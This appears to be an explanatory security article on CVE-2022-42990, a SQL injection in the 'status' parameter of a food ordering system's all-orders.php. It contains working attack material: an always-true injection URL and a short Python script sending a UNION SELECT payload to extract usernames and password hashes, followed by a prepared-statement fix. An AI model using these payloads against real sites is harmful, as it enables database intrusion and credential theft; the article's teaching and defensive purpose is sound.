In the world of food delivery software, keeping user data safe is as important as fast service. Unfortunately, vulnerabilities can slip through, and some are serious enough to give attackers total access to sensitive databases. One such vulnerability is CVE-2022-42990, found in Food Ordering Management System v1.. In this article, we’ll explain what happened, how it works, show you code snippets, and walk through a potential exploit—so you know what’s at stake.

1. What is CVE-2022-42990?

CVE-2022-42990 is a SQL Injection vulnerability. It means a part of the web application lets a user enter data that gets sent *directly* to the SQL server without proper sanitization. An attacker could craft an input that tricks the server into running malicious commands, potentially leaking all your stored data.

Reference

- CVE Details listing
- Exploit-DB Reference *(For similar vulnerabilities)*

The vulnerability lives in the following endpoint

/foms/all-orders.php?status=Cancelled%20by%20Customer


Here, the status parameter is taken from the URL. If it is not sanitized before being used in the underlying database query, attackers can inject SQL.

3. Understanding the Vulnerable Code

Let’s look at a simplified vulnerable snippet, based on how this kind of PHP project usually handles user input:

// all-orders.php
$status = $_GET['status'];  // TAKEN DIRECTLY FROM URL

$query = "SELECT * FROM orders WHERE status='$status'";
$result = mysqli_query($conn, $query);

while ($row = mysqli_fetch_assoc($result)) {
  // ... show the order
}

Malicious URL Example

http://victim-website/foms/all-orders.php?status=Cancelled by Customer' OR '1'='1

This payload breaks out of the original SQL query and adds a condition that is always true ('1'='1'). The query becomes:

SELECT * FROM orders WHERE status='Cancelled by Customer' OR '1'='1'

Effect: The server returns all orders, including ones the user shouldn’t see.

Dump All User Data

With some tweaking, an attacker can try to exfiltrate database info or even perform destructive actions, such as extracting database names, user accounts, or passwords (depending on setup and permissions).

You can use CURL or BurpSuite to send a malicious request, but here’s a minimal Python example

import requests

target_url = 'http://victim-website/foms/all-orders.php';
payload = "Cancelled by Customer' UNION SELECT 1, username, password, 4 FROM users-- -"

params = {'status': payload}

r = requests.get(target_url, params=params)
print(r.text)  # The response should contain usernames and password hashes!

What happens:
- The injected SQL would trick the server into fetching usernames and password hashes *in place of orders*.

*Note:* The exact column count in the UNION clause may need adjusting based on the real table structure.

Best defense: Always use prepared statements!

// Secure version in PHP with mysqli
$stmt = $conn->prepare("SELECT * FROM orders WHERE status = ?");
$stmt->bind_param("s", $_GET['status']);
$stmt->execute();
$result = $stmt->get_result();

Also, never trust user input—sanitize and validate it.

8. References

- CVE-2022-42990 at NVD
- OWASP: SQL Injection Prevention Cheat Sheet
- PHP: mysqli_prepare()

Final Notes

CVE-2022-42990 is a sharp reminder that small mistakes in handling user input can have huge security impacts. If you use Food Ordering Management System v1. or similar software, patch it immediately and audit for SQL injection everywhere. And if you’re building a web app—never build SQL queries directly from user input.

Timeline

Published on: 11/07/2022 16:15:00 UTC
Last modified on: 11/08/2022 04:24:00 UTC